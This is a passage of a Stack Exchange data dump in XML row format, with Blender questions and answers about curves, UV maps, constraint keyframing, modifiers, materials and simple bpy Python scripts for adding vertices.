  <row Id="23076" PostTypeId="1" AcceptedAnswerId="23080" CreationDate="2015-01-12T15:17:09.110" Score="2" ViewCount="1618" Body="&lt;p&gt;I made a curve but part of the same curve doesn't fit in a regular line, I need to align the points/vertices with each other, how can I do this? I need to put those in order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HATsB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-01-12T22:53:03.610" LastActivityDate="2015-01-12T22:53:03.610" Title="How can I align the handles of control points from a curve?" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2015-01-12T20:00:47.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="23077" PostTypeId="2" ParentId="18478" CreationDate="2015-01-12T15:18:06.940" Score="0" Body="&lt;p&gt;I found that using version 6.1 ASCII of the fbx plugin didn't result in the camera facing backwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/20859/camera-facing-backwards-when-exported-as-fbx-and-imported-to-fusion-7&quot;&gt;Camera facing backwards when exported as FBX and imported to Fusion 7&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-01-12T15:18:06.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23078" PostTypeId="2" ParentId="23012" CreationDate="2015-01-12T15:24:45.253" Score="3" Body="&lt;p&gt;I often use the cursor when I need to edit something at a very specific location.&#xA;Most of the time it's something out of the &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; menu.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Cursor to selected. &lt;em&gt;use when trying to add and object at a location, select the objectby right clicking on it, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &gt; cursor to selected.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cursor to center. &lt;em&gt;probably the one I use the most, when you misplace your cursor, and just want it back to the center of the scene; also accomplished by &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; but that re-centers your entire screen.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cursor to grid. &lt;em&gt;use so that your cursor is hanging in a more geometric place, not just off in space.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA; - &#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-12T15:24:45.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23079" PostTypeId="1" AcceptedAnswerId="23460" CreationDate="2015-01-12T15:44:29.500" Score="0" ViewCount="410" Body="&lt;p&gt;I've read all questions and answers about moving UV island here. The most relevant are these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/14287/how-to-move-selected-uv-island?lq=1&quot;&gt;How to move selected UV Island?&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7526/python-move-uv-for-selected-items&quot;&gt;Python - move UV for selected items&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But they do not solve my problem, my code is just not working. What is wrong with my code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type == 'IMAGE_EDITOR':&#xA;        bpy.ops.transform.translate(value=(125, 0, 0), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;    else:&#xA;        area.type = 'VIEW_3D'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LePrQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other areas changed to VIEW_3D, but the IMAGE_EDITOR area did not make the translate. The translate is still happening to the object in VIEW_3D.&lt;/p&gt;&#xA;" OwnerUserId="7829" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-01-19T20:20:22.593" Title="Problem moving selected UV islands with Python" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23080" PostTypeId="2" ParentId="23076" CreationDate="2015-01-12T15:44:58.480" Score="4" Body="&lt;p&gt;What you need to do is scale along a single axis, in this case the Y axis. Select the vertices you want to have in a straight line, and press &lt;kbd&gt;S&lt;/kbd&gt;-&lt;kbd&gt;Y&lt;/kbd&gt;-&lt;kbd&gt;0&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Instead of this:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/E85CO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You will now have this:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8K2w5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works best for the Vector handle type, but can be used in many cases for the other types as well.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-12T15:44:58.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23081" PostTypeId="1" AcceptedAnswerId="23085" CreationDate="2015-01-12T15:49:34.637" Score="4" ViewCount="3082" Body="&lt;p&gt;So, this is all hypothetical. This isn't really anything I am trying to do at the moment, but what I want to know is how to keyframe constraints. Example: Say I have an item that - at some point in the animation - needs to be picked up by a character. (e.g. the item could be a sandwich.) Is there any way to initialize a 'child-of' constraint type and have it become inactive or dormant at points in the animation? If you had a character with a constrained item object, then it would seem reasonable for him to have a need within your plot to put the item down and not have that item drag along behind him every time he moved his hand like a puppet tied to his finger with an invisible thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-01-12T17:22:06.887" Title="Keyframing Constraints - Is it possible?" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23082" PostTypeId="1" AcceptedAnswerId="23083" CreationDate="2015-01-12T15:50:37.233" Score="3" ViewCount="400" Body="&lt;p&gt;I have a path curve, I want it to give it 100+ subdivisions, but I don't have the time to do it manually, is there any way to select the number subdivisions?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="6204" LastEditDate="2015-01-12T15:57:46.470" LastActivityDate="2015-01-12T15:57:50.510" Title="How to select how many subdivisions will a curve have?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23083" PostTypeId="2" ParentId="23082" CreationDate="2015-01-12T15:56:33.400" Score="4" Body="&lt;p&gt;Go into edit mode, press &lt;kbd&gt;W&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;, go to the &lt;kbd&gt;T&lt;/kbd&gt; menu and find this window:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ntOeB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter the desired number of subdivisions as shown.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-12T15:56:33.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23084" PostTypeId="2" ParentId="23082" CreationDate="2015-01-12T15:57:50.510" Score="5" Body="&lt;p&gt;go into edit mode, subdivide pressing &lt;kbd&gt;W&lt;/kbd&gt; and type the number of subdivisions you need.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NnLeH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-12T15:57:50.510" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23085" PostTypeId="2" ParentId="23081" CreationDate="2015-01-12T16:23:53.317" Score="6" Body="&lt;p&gt;You can do this by animating the &lt;em&gt;Influence&lt;/em&gt; value &lt;em&gt;(hover over it and press &lt;kbd&gt;I&lt;/kbd&gt;)&lt;/em&gt;. This tells Blender how much the constraint will affect the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kncDv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-12T17:22:06.887" LastActivityDate="2015-01-12T17:22:06.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23086" PostTypeId="1" AcceptedAnswerId="23088" CreationDate="2015-01-12T17:29:23.447" Score="10" ViewCount="12241" Body="&lt;p&gt;How can I add a Vertex from a script?&#xA;I'd like to create a line from the extrusion of a vertex.&#xA;This is my script now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;location = bpy.context.scene.cursor_location    # Get Cursor location&#xA;bpy.ops.object.editmode_toggle()                # Enter Edit Mode&#xA;&#xA;# Here goes the script I'm looking for!&#xA;&#xA;bpy.ops.mesh.extrude_region_move()              # Extrude vertex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8112" LastEditorUserId="3710" LastEditDate="2015-01-12T18:09:52.467" LastActivityDate="2020-01-09T14:28:55.973" Title="Add a simple vertex via python" Tags="&lt;python&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23087" PostTypeId="1" CreationDate="2015-01-12T17:30:35.820" Score="1" ViewCount="874" Body="&lt;p&gt;Ok ive setup some keyboard movements for forward, backwards, turning left, turning right. But what I want is when I move my mouse I would like my camera to pan to the right, left, up, or down some. Think about the movement controls in minecraft if that helps any.&lt;/p&gt;&#xA;" OwnerUserId="8412" LastActivityDate="2015-02-25T14:20:25.790" Title="camera movement for game?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23088" PostTypeId="2" ParentId="23086" CreationDate="2015-01-12T17:47:02.893" Score="15" Body="&lt;p&gt;You can pass a list of vertex coordinates to &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Mesh.html?highlight=from_pydata#bpy.types.Mesh.from_pydata&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Mesh.from_pydata(vertices, edges, faces)&lt;/code&gt;&lt;/a&gt; However, you also have to create a &lt;em&gt;new mesh&lt;/em&gt; as well as a &lt;em&gt;new object datablock&lt;/em&gt; and link them together properly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.8x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def point_cloud(ob_name, coords, edges=[], faces=[]):&#xA;    &quot;&quot;&quot;Create point cloud object based on given coordinates and name.&#xA;&#xA;    Keyword arguments:&#xA;    ob_name -- new object name&#xA;    coords -- float triplets eg: [(-1.0, 1.0, 0.0), (-1.0, -1.0, 0.0)]&#xA;    &quot;&quot;&quot;&#xA;&#xA;    # Create new mesh and a new object&#xA;    me = bpy.data.meshes.new(ob_name + &quot;Mesh&quot;)&#xA;    ob = bpy.data.objects.new(ob_name, me)&#xA;&#xA;    # Make a mesh from a list of vertices/edges/faces&#xA;    me.from_pydata(coords, edges, faces)&#xA;&#xA;    # Display name and update the mesh&#xA;    ob.show_name = True&#xA;    me.update()&#xA;    return ob&#xA;&#xA;# Create the object&#xA;pc = point_cloud(&quot;point-cloud&quot;, [(0.0, 0.0, 0.0)])&#xA;&#xA;# Link object to the active collection&#xA;bpy.context.collection.objects.link(pc)&#xA;&#xA;# Alternatively Link object to scene collection&#xA;#bpy.context.scene.collection.objects.link(pc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def point_cloud(ob_name, coords, edges=[], faces=[]):&#xA;    &quot;&quot;&quot;Create point cloud object based on given coordinates and name.&#xA;&#xA;    Keyword arguments:&#xA;    ob_name -- new object name&#xA;    coords -- float triplets eg: [(-1.0, 1.0, 0.0), (-1.0, -1.0, 0.0)]&#xA;    &quot;&quot;&quot;&#xA;&#xA;    # Create new mesh and a new object&#xA;    me = bpy.data.meshes.new(ob_name + &quot;Mesh&quot;)&#xA;    ob = bpy.data.objects.new(ob_name, me)&#xA;&#xA;    # Make a mesh from a list of vertices/edges/faces&#xA;    me.from_pydata(coords, edges, faces)&#xA;&#xA;    # Display name and update the mesh&#xA;    ob.show_name = True&#xA;    me.update()&#xA;    return ob&#xA;&#xA;# Create the object&#xA;pc = point_cloud(&quot;point-cloud&quot;, [(0.0, 0.0, 0.0)])&#xA;&#xA;# Link object to the scene&#xA;bpy.context.scene.objects.link(pc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="86515" LastEditDate="2020-01-09T14:28:55.973" LastActivityDate="2020-01-09T14:28:55.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23089" PostTypeId="1" AcceptedAnswerId="23120" CreationDate="2015-01-12T18:07:32.717" Score="2" ViewCount="423" Body="&lt;p&gt;I have two bones in an armature that derive their Y location from a separate Master bone. One uses a simple Copy Location constraint, the other uses a driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I grab the Master bone and move it around, the two other bones' Y locations update as appropriate, though the one using the driver lags a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I reset (aborting the move of the Master bone) the bone with the driver remains stuck at its location. The bone with the constraint pops back to the original location as expected. If I then initiate another move of the Master, the driven bone snaps to where it should be and then follows again, though the lag remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I eliminate the lag of the driven bone as well as have it always update its Y location correctly? I can't use a constraint on that bone because eventually it will evaluate an expression to set its value rather than simply copying the Master's Y location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Blend is : &lt;a href=&quot;https://dl.dropboxusercontent.com/u/48445877/Driver.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BO7zu.png&quot; alt=&quot;Screen Grab&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2015-01-13T08:54:31.670" Title="Bone Driver Update Fails" Tags="&lt;armature&gt;&lt;bones&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23090" PostTypeId="2" ParentId="23087" CreationDate="2015-01-12T18:34:30.927" Score="3" Body="&lt;p&gt;Use the &lt;strong&gt;mouse&lt;/strong&gt; actuator on your camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;delay&gt;and&gt;Mouse, mouse look.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the delay to 0.01 and enable &lt;em&gt;true-level-triggering&lt;/em&gt; this will behave as an &lt;em&gt;always&lt;/em&gt; sensor, but delay works better with mouse look. The delay will read 0 but it really will work for 0.01 frames.&#xA;Create a mouse actuator and set the type to &lt;strong&gt;mouse look&lt;/strong&gt;.&#xA;You can specify how you want the mouse to look in the properties of the actuator. Basically, if it's turning too far when you move your mouse, increase the min. value and decrease the &lt;strong&gt;max.&lt;/strong&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gWsLf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-12T18:34:30.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23091" PostTypeId="1" AcceptedAnswerId="23102" CreationDate="2015-01-12T18:40:46.650" Score="2" ViewCount="388" Body="&lt;p&gt;When using mmd files the animation ends up warped. What could be done to fix this error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/6p1kGjK.png&quot; alt=&quot;frame 1&quot;&gt;&#xA;Frame 1: model looks right&#xA;&lt;img src=&quot;https://i.imgur.com/o6V7zSE.png&quot; alt=&quot;warped animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other frames: model looks warped&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2015-01-12T21:55:43.360" Title="Problem with MMD warping animation" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23092" PostTypeId="1" AcceptedAnswerId="24293" CreationDate="2015-01-12T18:48:38.487" Score="11" ViewCount="11160" Body="&lt;p&gt;i was trying to put a chrome-like material in a curve that i'm doing, because it needs to somehow 'shine' on the borders, like a detailed curve/tube, something like this: &lt;img src=&quot;https://i.stack.imgur.com/RYxIV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do with a thin object like this? i need to zoom it in the animation, so that's why i need it to be detailed on the material...oh and also, it should stay with black background so it will not reflect anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in regard.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2016-12-02T14:53:45.670" Title="How to properly add a chrome-like material in cycles to a thin object?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="23093" PostTypeId="1" AcceptedAnswerId="23094" CreationDate="2015-01-12T19:03:19.877" Score="6" ViewCount="5112" Body="&lt;p&gt;Basically, I have two textures, one of which is mostly transparent. I want to combine them, so that they're one on top of the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that one is bigger than the other, so I would need two different UV unwrappings of the same object, one with a bigger scale than the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do so or should I combine the textures in an external program?&lt;/p&gt;&#xA;" OwnerDisplayName="user7790" LastEditorUserId="1224" LastEditDate="2015-01-12T20:20:20.307" LastActivityDate="2015-01-12T21:02:28.407" Title="Can I have two different UV unwrappings of the same object?" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23094" PostTypeId="2" ParentId="23093" CreationDate="2015-01-12T19:04:48.493" Score="10" Body="&lt;p&gt;Yes, it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mesh panel, under &lt;em&gt;UV Maps&lt;/em&gt;, press the &quot;+&quot; button. This will create a new UV map with the same coordinates as the existing one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles&quot; rel=&quot;noreferrer&quot;&gt;Cycles&lt;/a&gt;, in the node editor, select &lt;em&gt;Input&lt;/em&gt; -&gt; &lt;em&gt;UV Map&lt;/em&gt; to use different UV maps for different shader parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render&quot; rel=&quot;noreferrer&quot;&gt;Blender Internal&lt;/a&gt;, you can select which UV map to use in the texture panels.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="2217" LastEditDate="2015-01-12T21:02:28.407" LastActivityDate="2015-01-12T21:02:28.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23095" PostTypeId="2" ParentId="23093" CreationDate="2015-01-12T19:07:00.423" Score="4" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just go to the &lt;em&gt;object data&lt;/em&gt; panel of the &lt;em&gt;properties&lt;/em&gt; view (where you go to modify vertex groups) and click the little &quot;+&quot; under  the &lt;em&gt;UV maps&lt;/em&gt; rollout to add a UV map.  Then when you go to UV unwrap a model just select the UV map you want to modify.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-01-12T19:07:00.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23096" PostTypeId="2" ParentId="23092" CreationDate="2015-01-12T19:29:13.057" Score="5" Body="&lt;p&gt;I would simply use a &lt;em&gt;glossy&lt;/em&gt; shader with a roughness value of around 0.1.  To get the specular highlights as they are in the picture I would position a plane with an emission shader behind the camera facing directly at the pipes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the black background just go to the &lt;em&gt;world&lt;/em&gt; panel of the &lt;em&gt;properties&lt;/em&gt; view and set the background shader to be pure black.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-01-12T19:29:13.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23097" PostTypeId="2" ParentId="23092" CreationDate="2015-01-12T19:35:12.513" Score="6" Body="&lt;p&gt;Just add a &lt;em&gt;glossy shader&lt;/em&gt; to the pipes and use some oblong planes with an &lt;em&gt;emission shader&lt;/em&gt; for lighting. Give them various colours and strengths. You can also experiment with the glossy shader's &lt;em&gt;roughness&lt;/em&gt; value to see what you like.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gED4G.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the &lt;em&gt;background shader&lt;/em&gt; to black as you like.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Fp4Qt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a transparent background in the image file, check the &lt;em&gt;transparent&lt;/em&gt; box in &lt;em&gt;render settings&lt;/em&gt; (just make sure you save as a file type that supports an alpha channel like .png).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MmsvV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the result.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zmyhZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="5705" LastEditDate="2015-01-12T22:41:28.687" LastActivityDate="2015-01-12T22:41:28.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23098" PostTypeId="1" AcceptedAnswerId="23119" CreationDate="2015-01-12T20:16:25.500" Score="5" ViewCount="2768" Body="&lt;p&gt;Is it possible to create a turret like mesh like this using the bottom mesh and an array modifier? I want to be able to easily change the height of the shown shingle siding pattern. What I am basically looking for is some way to offset the mesh in a similar way to an array modifier, but with a small rotation value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FSltY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is similar to &lt;a href=&quot;https://blender.stackexchange.com/questions/2402/rotating-each-iteration-of-an-array-modifier&quot;&gt;this question&lt;/a&gt; but has some differences. That question wasn't exactly what I wanted. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-01-13T08:26:27.620" Title="Array modifier with rotation value?" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23099" PostTypeId="2" ParentId="23098" CreationDate="2015-01-12T20:16:25.500" Score="3" Body="&lt;p&gt;I found a solution that works for round objects. The base mesh will need to have an &lt;em&gt;Array&lt;/em&gt; modifier and a curve modifier like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XIv0Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That just creates the mesh on the bottom, in order to make it repeat at that offset rotation, you need to add another &lt;em&gt;Array&lt;/em&gt; modifier &lt;strong&gt;before&lt;/strong&gt; the &lt;em&gt;Curve&lt;/em&gt; modifier. Changing the &lt;em&gt;Count&lt;/em&gt; will determine the height of the resulting mesh, I have it set to 5 for test purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ziGl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes the mesh able to be offset using the standard location offsets, and then it can be wrapped around into a circle with the &lt;em&gt;Curve&lt;/em&gt; modifier. &#xA;Here is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XdetR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-12T20:16:25.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23101" PostTypeId="1" AcceptedAnswerId="23103" CreationDate="2015-01-12T21:26:40.790" Score="2" ViewCount="265" Body="&lt;p&gt;I've been looking at tutorials on how to create a curved object and all they all use paths. I'm trying to create a curved building. How can I create a tangible 3D curved mesh that doesn't involve stacking slightly rotated objects onto one another, Like a path would do?&lt;/p&gt;&#xA;" OwnerUserId="10942" LastEditorUserId="2217" LastEditDate="2015-01-13T15:05:59.010" LastActivityDate="2015-01-13T15:05:59.010" Title="Create curved meshes without using Paths?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23102" PostTypeId="2" ParentId="23091" CreationDate="2015-01-12T21:55:43.360" Score="3" Body="&lt;p&gt;Keep Vert Order needs to be on when using mmd in Blender to avoid warped geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Workflow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;File &gt;&gt; Import &gt;&gt; .obj, on right options, turn on Keep Vert Order&#xA;&lt;img src=&quot;https://i.imgur.com/7Fi608n.png&quot; alt=&quot;vert order&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select imported object&lt;/li&gt;&#xA;&lt;li&gt;File &gt;&gt; Import .mmd&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2015-01-12T21:55:43.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23103" PostTypeId="2" ParentId="23101" CreationDate="2015-01-12T22:40:16.817" Score="3" Body="&lt;p&gt;Sorry, this may not be pleasing to hear, but there are two ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;The hard way&lt;/strong&gt; (manually model the object to be curved)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;The easy way&lt;/strong&gt; (it requires using a &lt;em&gt;curve&lt;/em&gt; modifier.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since the first way really requires step by step or a tutorial, and is out of scope for this site, I'll give you the easy way.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using a &lt;em&gt;Curve&lt;/em&gt; modifier&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Create your object that you want to curve, make it the length that you want it to be. Be sure it has plenty of vertical subdivisions or edge loops, the more, the merrier. (actually, just the smoother after curving.) This picture shows the mesh properly set up to be curved, notice the &quot;up-down&quot; lines, these are the loops I was talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SFy39.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you didn't want to use curves, but &lt;strong&gt;Create a curve!&lt;/strong&gt; in order to get something really nice without a lot of trouble, you need curves, and once you get used to them, they really aren't that bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've shaped the curve &lt;em&gt;just&lt;/em&gt; right you can re-select the mesh and add a curve modifier. isert the curve you just created under the &lt;strong&gt;Object&lt;/strong&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Er47U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very good! you now have a curved object: if it hangs off the edge of the curve a little, just mess with the location of the mesh.&lt;/p&gt;&#xA;" 